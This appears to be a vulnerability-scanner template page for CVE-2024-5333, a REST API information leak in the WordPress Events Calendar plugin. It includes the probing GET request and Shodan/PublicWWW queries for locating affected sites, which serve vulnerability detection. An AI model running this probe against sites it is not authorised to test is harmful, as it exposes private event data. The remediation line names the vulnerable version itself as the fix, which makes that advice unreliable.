WordPress Events Calendar 6.8.2.1 - Information Disclosure
CVE-2024-5333
Verified
Description
The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.
Severity
Medium
CVSS Score
5.3
Exploit Probability
11%
Affected Product
the_events_calendar
Published Date
January 23, 2026
Template Author
dhiyaneshdk
CVE-2024-5333.yaml
id: CVE-2024-5333
info:
name: WordPress Events Calendar 6.8.2.1 - Information Disclosure
author: DhiyaneshDk
severity: medium
description: |
The Events Calendar WordPress plugin 6.8.2.1 contains missing access checks in the REST API, letting unauthenticated users access information about password protected events, exploit requires no authentication.
impact: |
Unauthenticated users can access sensitive event information, potentially leading to information disclosure.
remediation: |
Update to version 6.8.2.1 or later.
reference:
- https://wpscan.com/vulnerability/764b5a23-8b51-4882-b899-beb54f684984/
- https://nvd.nist.gov/vuln/detail/CVE-2024-5333
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-5333
cwe-id: CWE-639
epss-score: 0.10972
epss-percentile: 0.9351
metadata:
verified: true
max-request: 1
vendor: stellarwp
product: the_events_calendar
framework: wordpress
publicwww-query: "/wp-content/plugins/the-events-calendar/"
shodan-query: html:"/wp-content/plugins/the-events-calendar/"
tags: cve,cve2024,wordpress,wp,wp-plugin,the-events-calendar,disclosure
http:
- method: GET
path:
- "{{BaseURL}}/wp-json/tribe/events/v1/events/"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"events":'
- '"rest_url":'
- '"total":'
condition: and
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
# digest: 490a00463044022059771ed2dcdaec33d8006222e936ebfe72256cd6addbacf0d13a7a30ef959d410220241c54036d92cbb51be481c371ad857008ae8c3b1125b99d27698b4c98e55b09:922c64590222798bb761d5b6d8e729505.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVE ID:
cve-2024-5333
CWE ID:
cwe-639
Remediation Steps
Update to version 6.8.2.1 or later.